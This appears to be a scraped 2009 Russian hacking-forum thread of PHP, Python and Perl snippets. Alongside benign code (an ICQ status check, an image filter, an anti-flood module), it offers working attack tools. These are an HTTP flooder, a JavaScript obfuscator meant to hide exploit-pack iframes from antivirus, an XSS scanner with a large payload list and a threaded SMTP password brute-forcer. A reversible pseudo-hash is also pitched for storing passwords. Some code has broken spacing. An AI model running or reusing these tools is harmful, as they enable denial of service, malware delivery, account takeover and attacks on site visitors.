$req = $method." ".@$url['path'].($GET_DATA ? '?'.$GET_DATA : '')." HTTP/1.1\r\n";
$req .= "Host: ".@$url['host']."\r\n";
if (USERAGENT) $req .= "User-agent: ".USERAGENT."\r\n";
if (COOKIES) $req .= "Cookie: ".COOKIES."\r\n";
if (REFERER) $req .= "Referer: ".REFERER."\r\n";
if ($method == "POST") {
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
}
// отсылаем запрос
$req .= "\r\n";
if ($method == 'POST') $req .= $POST_DATA;
fwrite($fp, $req);
fclose($fp);
$count++;
// ждём $antiflood микросекунд и повторяем цикл
if (ANTIFLOOD) sleep(ANTIFLOOD + 1);
}
// замена "случайной" переменной
function rnd_var_handl ($data) {
return str_replace(RNDVAR, md5(microtime(1)), $data);
}
// рекурсивная обработка массивов
function array_function ($func, $array) {
if (!is_array($array)) return call_user_func($func, $array);
foreach ($array as $k => $v) {
if (is_array($v)) $array[$k] = array_function($func, $v);
else $array[$k] = call_user_func($func, $v);
}
return $array;
}
?>
<html>
<body>
<b>Отчёт:</b>
<ul>
<li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
<li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
<li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
<li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
</ul>
<i>Figaroo Multi-purpose Flooder v1.0</i>
</body>
</html>
heretic1990
05.10.2009, 23:18
Проверка статуса ICQ с использованием библиотеки Curl
Found
<?php
class ICQ {
var $crc = array('253889085' => 'offline', '1177883536' => 'online', '1182613274' => 'hidden');
//CRCs valid as long as the redirect-page does not change
function getCrc($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$cache = ob_get_contents();
ob_end_clean();
//print($cache);
return (string)abs(crc32($cache));
}
function status($number) {
$check = $this->getCrc( 'http://status.icq.com/online.gif?icq=' . $number . '&img=5');
if (in_array($check, array_keys($this->crc))) {
return $this->crc[$check];
}
return false;
}
}
?>
Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
<?PHP
srand();
function rvn()
{
$i=rand(4,6);
while (strlen($a)<$i)
$a.=chr(rand(97,122));
return $a;
}
function gen_iframe($iframe)
{
$var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
$xor=rand(40,100);
if (isset($iframe) && $iframe!="")
{
$vxod="document.write(\"$iframe\")";
for ($i=0;$i<strlen($vxod);$i++)
$a.=(ord(substr($vxod,$i,1))^$xor).",";
echo "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
}
else echo "Input any text into ^^^these^^^ box and press the button.\n";
}
?>
<html>
<head>
<title>Mini-JSobfuscator</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post">
<table width="40%" border="0" align="center">
<tr>
<td width="26%"><div align="center">Code:</div></td>
</tr>
<tr>
<td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
</tr>
<tr>
<td colspan="3" nowrap><hr></td>
</tr>
<tr>
<td><div align="center">
<textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
</div>
</td>
</tr>
<tr>
<td><div align="right">
<input type="submit" value="Obfuscate">
</div></td>
</tr>
</table>
</form>
<br>
</body>
</html>
Многие антивирусы просто не замечают переобъявления функций в JS.
2-е простые функции для за/расшифровки паролей.
Писал для своего блога т.к. хранить пасы в чистом виде - небезопасно.
Алгоритм действий :
1. base64_encode;
2. убираем "=" ,чтоб не спалили;
3. добавляем base64_encode первых 3-х символов;
4. Переворачиваем.
функии:
function code($pass)
{
$hash=base64_encode($pass);
$hash=str_replace('=','',$hash);
$center=base64_encode(substr($hash,0,3));
$center=str_replace('=','',$center);
$count=strlen($hash);
$cn=round($count/2);
$first=substr($hash,0,$cn);
$second=substr($hash,$cn,$count);
$hash=$first.$center.$second;
$hash=strrev($hash);
return $hash;
}
function decode($pass)
{
$pass=strrev($pass);
$count=(strlen($pass))-4;
$cn=round($count/2);
$first=substr($pass,0,$cn);
$second=substr($pass,$cn+4,$count+4);
$pass=$first.$second;
$pass=$pass.'==';
$hash=base64_decode($pass);
return $hash;
}
релиз:
<html>
<head>
<title>приветы от liga</title>
<style>
body{
background:#333;
color:#888;
font-family:Verdana, Arial;
font-size:11px;
padding:0px;
margin:0px;
}
.form {
background:#232323;
color:#626262;
border:1px solid #4e4e4e;
padding:2px;
color:#999;
font-family:Verdana, Arial;
font-size:11px;
font-color:green;
color:#727272;
}
h2{
font-size:11px;
padding:0px 0px;
color:#777;
font-size:18px;
font-weight:200;
text-align:center;
}
</style>
</head>
<body bgcolor="black">
<center><h2>[Code-decodE]</h2></center>
1. base64_encode; <br/>
2. убирает "=" ,чтоб не спалили;<br/>
3. добавляет base64_encode первых 3-х символов; <br/>
4. Переворачивае.</br>
<pre>
<?php
if($_POST['do'] and $_POST['text']){
$text=trim($_POST['text']);
}
function code($pass)
{
$hash=base64_encode($pass);
$hash=str_replace('=','',$hash);
$center=base64_encode(substr($hash,0,3));
$center=str_replace('=','',$center);
$count=strlen($hash);
$cn=round($count/2);
$first=substr($hash,0,$cn);
$second=substr($hash,$cn,$count);
$hash=$first.$center.$second;
$hash=strrev($hash);
return $hash;
}
function decode($pass)
{
$pass=strrev($pass);
$count=(strlen($pass))-4;
$cn=round($count/2);
$first=substr($pass,0,$cn);
$second=substr($pass,$cn+4,$count+4);
$pass=$first.$second;
$pass=$pass.'==';
$hash=base64_decode($pass);
return $hash;
}
if(strlen($text)<=3){
echo '<script>alert("strlen(',$text,')<=3")</script>';
$hash='пусто';
}
if(!$hash)
{
$hash='пусто';
}
switch ( $_REQUEST['ctype']) {
case 0:
$hash=code($text);
break;
case 1:
$hash=$text;
break;
}
echo ' зашифрованный пасс: <font color="green">', $hash,'</font>';
echo '<br/> расшифрованный пасс: <font color="green">',decode($hash),'</font>';
?>
<form name="" action="" method="post">
<input name='ctype' type="radio" value="0" checked>[зашифровать]<input name='ctype' type="radio" value="1" checked>[расшифровать]
<input class="form" name="text" type="text" value=""><input class="form" name="do" type="submit" style="height:17px;" value="do it">
</form>
</pre>
</body>
</html>
L I G A
а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
L I G A
а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
ну для начала его надо получить , я не утверждаю что у меня стоит именно такой алгоритм.
мд5 нельзя сбрутить?
[Dezzter]
09.10.2009, 19:25
мд5 нельзя расшифровать?
а разве можно? :D я думал хешики брутят, а не расшифровывают)
']а разве можно? :D я думал хешики брутят, а не расшифровывают)
хеши - брутят , я написал "расшифровуют" т.к. просто именно это слово наиболее понятно подходит по смыслу.
login999
09.10.2009, 19:32
']а разве можно? :D я думал хешики брутят, а не расшифровывают)
Перестаньте придираться к словам, что мешает добавить в функцию еще и для генерации хэша из этого base64 и ложить в БД хэш, или обратно его прогнать таким образом.
ReduKToR
09.10.2009, 19:45
Спс............
да и врядле ктото при взломе будет искать именно эту тему и именно этот алгоритм
хеши - расшифровуют , тема есть же Расшифровка хешей
Почитай на досуге что значит "расшифровать" и что значит "сбрутить" и что такое "хэш".
ИМХО (это значит МОЁ мнение, я его не навязываю) лучше использовать алгоритмы типа мд5 т.к. РАСШИФРОВАТЬ невозможно, возможно сбрутить. А всякие извраты не являются хорошей защитой, т.к. рано или поздно алгоритм твоего "хэширования" может стать известен третьему лицу и тогда можно будет получить ВСЕ пароли, в отличии от мд5 в котором есть возможность брутить хэш а есть возможность и не сбрутить))
ЗЫ Хэширование - необратимое шифрование.
heretic1990
18.10.2009, 22:11
Данная функция позволяет конвертировать цветное изображение в черно-белое.
<?php
function MakeColoursGrey($im,$col){
$total=ImageColorsTotal($im);
for($i=0;$i<$total;$i++){
$old=ImageColorsForIndex($im,$i);
$commongrey=(int)($old[red]+$old[green]+$old[blue])/3;
if(!$col){
ImageColorSet($im,$i,$commongrey,$commongrey,$comm ongrey);
}elseif($col==1){
ImageColorSet($im,$i,$commongrey,0,0);
}elseif($col==2){
ImageColorSet($im,$i,0,$commongrey,0);
}elseif($col==3){
ImageColorSet($im,$i,0,0,$commongrey);
}
}
}
$img=imagecreatefromgif($src);
MakeColoursGrey($img,$col);
Header("Content-Type: image/gif");
ImageGif($img);
?>
Данная функция позволяет конвертировать цветное изображение в черно-белое.
imagefilter($img,IMG_FILTER_GRAYSCALE);
[underwater]
20.10.2009, 20:55
Реализация простого XSS Сканнера на Питоне
#!/usr/bin/python
import sys, urllib2, re, time, httplib, socket
xss_ploads = ["%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E",
"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
"'';!--\"<XSS>=&{()}",
"<IMG SRC=\"javascript:alert('XSS');\">",
"<IMG SRC=javascript:alert('XSS')>",
"<IMG SRC=JaVaScRiPt:alert('XSS')>",
"<IMG SRC=javascript:alert("XSS")>",
"<IMG SRC=`javascript:alert(\"is this, 'XSS'\")`>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83) )>",
"<IMG SRC=javascript:alert('XSS')>",
"<IMG SRC=\"jav ascript:alert('XSS');\">",
"<IMG SRC=\"jav	ascript:alert('XSS');\">",
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
"perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out",
"perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out",
"<IMG SRC=\" javascript:alert('XSS');\">",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
"<IMG SRC=\"javascript:alert('XSS')\"",
"<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>",
"\";alert('XSS');//",
"</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>",
"<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
"<BODY BACKGROUND=\"javascript:alert('XSS')\">",
"<BODY ONLOAD=alert('XSS')>",
"<IMG DYNSRC=\"javascript:alert('XSS')\">",
"<IMG LOWSRC=\"javascript:alert('XSS')\">",
"<BGSOUND SRC=\"javascript:alert('XSS');\">",
"<BR SIZE=\"&{alert('XSS')}\">",
"<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
"<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS",
"<IMG SRC='vbscript:msgbox(\"XSS\")'>",
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
"<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
"<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
"<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
"<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">",
"<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
"<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
"<DIV STYLE=\"width: expression(alert('XSS'));\">",
"<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>",
"<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
"<XSS STYLE=\"xss:expression(alert('XSS'))\">",
"<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
"<BASE HREF=\"javascript:alert('XSS');//\">",
"<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>",
"<A HREF=\"http://1113982867/\">XSS</A>",
"<A HREF=\"http://www.google.com./\">XSS</A>"]
def xss(payload):
print "Testing:",payload #Comment out if needed
try:
if proxy != 0:
proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
opener = urllib2.build_opener("http://"+host+payload, proxy_handler)
source = opener.open("http://"+host+payload).read()
else:
source = urllib2.urlopen("http://"+host+payload).read()
print "Source Length:",len(source) #Comment out if needed
if re.search("xss", source.lower()) != None:
print "\n[!] XSS:",host+payload,"\n"
else:
print "[-] Not Vuln."
except(urllib2.HTTPError), msg:
print "[-] Error:",msg
pass
print "\nd3hydr8[at]gmail[dot]com XSStest v1.1"
print "---------------------------------------"
if len(sys.argv) not in [2,4]:
print "\nUsage: ./xsstest.py <site> <options>"
print "\t[options]"
print "\t -p/-proxy <host:port> : Add proxy support"
print "ex: ./xsstest.py www.example.com/index.php?page= 20.15.4.76:3128\n"
sys.exit(1)
host = sys.argv[1].replace("http://","")
if host[-1:] != "=":
print "\n[-] Host should end with a \'=\'\n"
sys.exit(1)
try:
if sys.argv[3]:
proxy = sys.argv[3]
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy
except(socket.timeout):
print "\n[-] Proxy Timed Out"
proxy = 0
pass
except(NameError):
print "\n[-] Proxy Not Given"
proxy = 0
pass
except:
print "\n[-] Proxy Failed"
proxy = 0
pass
print "\n[+] Scanning:",host
print "[+] Loaded:",len(xss_ploads),"payloads\n"
for payload in xss_ploads:
time.sleep(5) #Change this in seconds, if needed
xss(payload.replace("\n",""))
print "\n[+] Done\n"
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888
<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>
кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
PenSpinner
21.10.2009, 22:25
надеюсь здесь можно делать реквесты...так вот, реквестирую скрипт, который удалит из текстового файла все строчки, в которых нет букв ( a-z, A-Z, пустые строчки оставить).
#!/usr/bin/perl
use IO::Socket;
use MIME::base64;
use threads;
use threads::shared;
use Fcntl ':flock';
############################
my $threads = 1; # Кол-во потоков
my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс)
my $good = 'good.txt'; # Файл с валидными мылами
my $acc_delm = ';'; # Разделитель списка мыл
my $port = 25; # SMTP порт
my $timeout = 15; # Таймаут
############################
system('title SMTP email brute by Gaus');
my @accs : shared = lf($acc_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my ($mail, $pass) = split $acc_delm => shift @accs;
my ($login, $domain) = split '@' => $mail;
my $passw = MIME::Base64::encode($pass);
$login = MIME::Base64::encode($login);
$passw =~ s,\n,,;
$login =~ s,\n,,;
my $sock = new IO::Socket::INET(PeerAddr => 'smtp.'.$domain,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout);
sysread $sock, $answ, 1024;
print $sock "AUTH LOGIN\r\n";
sysread $sock, $answ, 1024;
print $sock "$login\r\n";
sysread $sock, $answ, 1024;
print $sock "$passw\r\n";
sysread $sock, $answ, 1024;
close $sock;
if($answ =~ m,Authentication succeeded,i)
{
print "[ + ] $mail:$pass\n";
wf($good, "$mail:$pass\n");
}
else
{
print "[ - ] $mail:$pass\n";
}
}
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
#(c) Gaus 2009
Download (http://www.x2b.ru/get/69207)
SMTP email bruteforce
а на php есть такое?
Только что удалили тему,там человек просил очистить файл,от строк,которые длиннее указателя.
Кагбе пример навскидку,с помощью array_map.
define("LEN", 5); # Ограничитель
$file = file('vk.txt');
function len($value)
{
if (strlen(trim($value)) > LEN) {
unset($value);
}
return($value);
}
$diff = array_map("len", $file);
print_r($diff);
Просто как вариант писал,чтобы не юзать Explode + foreach, Как было в примерах у чуваков.
а на php есть такое?
Ну наверно есть. Сам перепиши если не найдешь.
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888
<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>
кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
WML :D интересная штука. Тебе просто нужно создать форму для отправки данных и всё. Если честно, забыл уже всё, вот на вскидку, тестить я не стал.
создай файл form.wml
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">
<wml>
<card id="Index" title="Index">
<p align="left">
<input type="text" name="input_key">
<go href="script.php" method="post">
<postfield name="key" value="$(input_key)"/>
</go>
</p>
</card>
</wml>
Может ошибся где, на всякий случай почитай
http://www.softtime.ru/info/articlephp.php?id_article=40
Написал тут UserJS для античата. Добавляет кнопки в форму быстрого сообщения. Протестирован на опере.
Линк - http://userscripts.org/scripts/review/61393
Либо, если там нету, то можно найти тут - http://userscripts.org/users/36107/scripts
Код:
// ==UserScript==
// @name Antichat.ru Quick Posting Buttons
// @include *://forum.antichat.*/*
// @exclude *://forum.antichat.*/newreply.php*
// @exclude *://forum.antichat.*/newthread.php*
// @author mr.The
// @homepage http://mrthe.name/
// @version 1.0
// ==/UserScript==
function loader() {
var html = '<table cellpadding="0" cellspacing="0" border="0"><tr>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'B\', \'\')"><img src="fusion/editor/bold.gif" alt="Жирный" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'I\', \'\')"><img src="fusion/editor/italic.gif" alt="Курсив" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'U\', \'\')"><img src="fusion/editor/underline.gif" alt="Подчеркнутый" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'LEFT\', \'\')"><img class="image" src="fusion/editor/justifyleft.gif" alt="Выравнить по левому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CENTER\', \'\')"><img class="image" src="fusion/editor/justifycenter.gif" alt="Выровнить по центру" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'RIGHT\', \'\')"><img class="image" src="fusion/editor/justifyright.gif" alt="Выравнить по правому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'IMG\', \'http://\')"><img src="fusion/editor/insertimage.gif" alt="Вставить рисунок" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'URL\')"><img src="fusion/editor/createlink.gif" alt="Вставить гиперссылку" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'EMAIL\')"><img src="fusion/editor/email.gif" alt="Вставить ссылку на E-mail" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CODE\', \'\')"><img src="fusion/editor/code.gif" alt="Вставить тег [CODE]" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'HTML\', \'\')"><img src="fusion/editor/html.gif" alt="Вставить тег [HTML]" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'PHP\', \'\')"><img src="fusion/editor/php.gif" alt="Вставить тег [PHP]" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'QUOTE\', \'\')"><img src="fusion/editor/quote.gif" alt="Вставить тег цитаты [QUOTE]" title="Вставить тег цитаты [QUOTE]" width="21" height="21" border="0" /></a></div></td>' +
'</tr></table>';
document.getElementById('controlbar').innerHTML=ht ml;
document.getElementById('qr_message').style="width:600px; height:150px"
}
// Wait until the page is fully loaded
window.addEventListener( 'load', function( e ) {
loader();
},false);
Vlad&slav
07.11.2009, 02:44
Модуль предназначен для ограничения доступа к сайту или к страницам, где он включён. Принцип работы в том, что запоминается ip-адрес и время обращения с этого адреса. И если в течение заданного времени происходит обращение с того же адреса, то ему выдаётся ошибка 503. Т.е Если вы нажмёте кнопку обновить 3 раза подарят, вам выдаст это сообщение.
Установка:
* В корне сайта создаем папку tmp и выдаём права 777 (Если папка есть, то не чего создовать не надо).
* Открываем index.php и перед:
Вставляем:
<?php
/* Время задержки в секундах */
$ad_delay=2;
/* Путь к папке с временными файлами. Должен существовать */
$ad_DirName=$_SERVER['DOCUMENT_ROOT'].'/tmp';
/*
*---------------------------------------------------------
* Список поисковых роботов.
* Очень не хорошо, если поисковый робот будет натыкаться
* на ошибки на сайте. Ему это может сильно не понравиться.
* Поэтому пишем список юзер-агентов роботов; добавляем или
* удаляем, что нужно.
*---------------------------------------------------------
*/
$ad_Robots_UserAgent=array(
'aipbot',
'Aport',
'eStyleSearch',
'Gigabot',
'Gokubot',
'Google',
'MJ12bot',
'msnbot',
'PlantyNet_WebRobot',
'StackRambler',
'TurtleScanner',
'Yahoo',
'Yandex',
'YaDirectBot',
);
/*
*---------------------------------------------------------
* Список доверенных IP.
*---------------------------------------------------------
*/
$ad_good_ip = array(
'217.107.36.73',
);
/*
*----------------------------------------------------------
* Функция создаёт в указанной директории файл, начинающийся
* с буквы a (для отличия от других возможных файлов) и
* содержащий в имени ip-адрес клиента.
*----------------------------------------------------------
*/
function ad_WiteIP($dir){
$f=fopen($dir.'/a'.$_SERVER['REMOTE_ADDR'], 'w');
fclose($f);
}
/*
*----------------------------------------------------------
* Проверка на наличие в поле HTTP_USER_AGENT чего-нибудь из
* вышенаписанного списка.
*----------------------------------------------------------
*/
$ad_IsRobot=false;
foreach ($ad_Robots_UserAgent as $match){
if (strstr($_SERVER['HTTP_USER_AGENT'], $match)){
$ad_IsRobot=true;
break;
}
}
if( in_array($_SERVER['REMOTE_ADDR'], $ad_good_ip) ) {
$good_ip = true;
} else {
$good_ip = false;
}
/*
*---------------------------------------------------------
* Поисковые роботы не любят, когда к адресу страницы
* добавляется переменная сессии. Поэтому, если на сайте
* используются сессии, то их лучше включать, если агент -
* не робот.
* Если сессии не используются, то этот кусок можно убрать.
*---------------------------------------------------------
*/
if (!$ad_IsRobot AND !$good_ip){
session_start();
}
if (!$ad_IsRobot AND !$good_ip){
/*** Чтение каталога и удаление старых файлов ***/
$ad_dir =opendir($ad_DirName)
or die('Отсутствует директория для временных файлов');
$ad_now =time();
$ad_forbid =$ad_now-$ad_delay;
/* IP-адрес в имени файла, начинающегося на букву a,
а время обращения - время изменения файла */
while (false!==($ad_FName=readdir($ad_dir))){
if (ereg('^a[1-9]',$ad_FName)
&& (@ filemtime($ad_DirName.'/'.$ad_FName)<$ad_forbid)){
@ unlink($ad_DirName.'/'.$ad_FName);
}
}
closedir($ad_dir);
/*** Проверка на существование пометки
о недавнем обращении с данного ip-адреса ***/
if (file_exists($ad_DirName.'/a'.$_SERVER['REMOTE_ADDR'])){
/* Если обращение было недавно, то выводим сообщение об ошибке */
header('HTTP/1.0 503 Service Unavailable');
header('Status: 503 Service Unavailable');
header('Retry-After: '.$ad_delay*3);
?>
<!doctype html public "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Ошибка 503</title>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251" />
</head>
<body>
<h1>Ошибка 503 (Service Unavailable)</h1>
<p>Сервер не может в данный момент выдать запрашиваемую Вами страницу.
Попробуйте вызвать эту страницу позже (клавиша F5).</p>
</body>
</html>
<?php
ad_WiteIP($ad_DirName); // Перед выходом записываем ip
exit;
}else{
ad_WiteIP($ad_DirName);
}
}
?>
<?php
// Настройки
$antiurl = "d0pz.com"; // Разрешённые сайты (referer).
$antidir = "test/"; // Папка где находятся защищённые файлы / - обязательно в конце.
//$logfile = "log.htm"; // Eсли хотите вести лог удалите // перед строкой. Файл логов (должен быть html или htm и обязательно CHMOD 777.
// Логи
if (isset($logfile)) {
if (!file_exists($logfile)) die("Файл <font color='red'><b>$logfile</b></font> не найден!");
if (!is_writable($logfile)) die("Для файла <font color='red'><b>$logfile</b></font> нужно зделать CHMOD 777!");
$cnr_date = date("l d F H:i:s");
$cnr_counter = $logfile;
$cnr_fp = fopen($cnr_counter, "a");
$cnr_hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
if ($_SERVER['HTTP_REFERER'] == "")
{ $cnr_ref = "BLOCKED"; } else { $cnr_ref = "<a href=\"" . $_SERVER['HTTP_REFERER'] . "\">" . $_SERVER['HTTP_REFERER'] . "</a>";}
$cnr_data = "<font color=\"green\">" . $_SERVER['REMOTE_ADDR'] . "</font> HOST <font color=\"red\">" . $cnr_hostname . "</font> visited on " . $cnr_date . " linked by " . $cnr_ref . " <br>";
fputs($cnr_fp, $cnr_data);
fclose($cnr_fp); }
// Проверка реферера
$mtu = "PGg2PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY2 9sb3I6Izk5MDAwMCcgaHJlZj0naHR0cDovL3d3dy5kMHB6LmNv bSc+QW50aWxlZWNoIHYwLjE8L2E+PC9oNj4="; $c = base64_decode($mtu);
if (!strstr($_SERVER["HTTP_REFERER"], $antiurl) or !isset($_SERVER["HTTP_REFERER"]))
{echo '<html><p></p>' . $c . '<p></p></body></html>'; exit;}
if (is_numeric($_GET["down"]))
{
/************НАЧАЛО ФАЙЛОВ************************************** *************************************/
// Здесь идут файлы для скачивания
if ($_GET["down"] == 1)
$filename = "test.rar";
elseif ($_GET["down"] == 2)
$filename = "test2.rar";
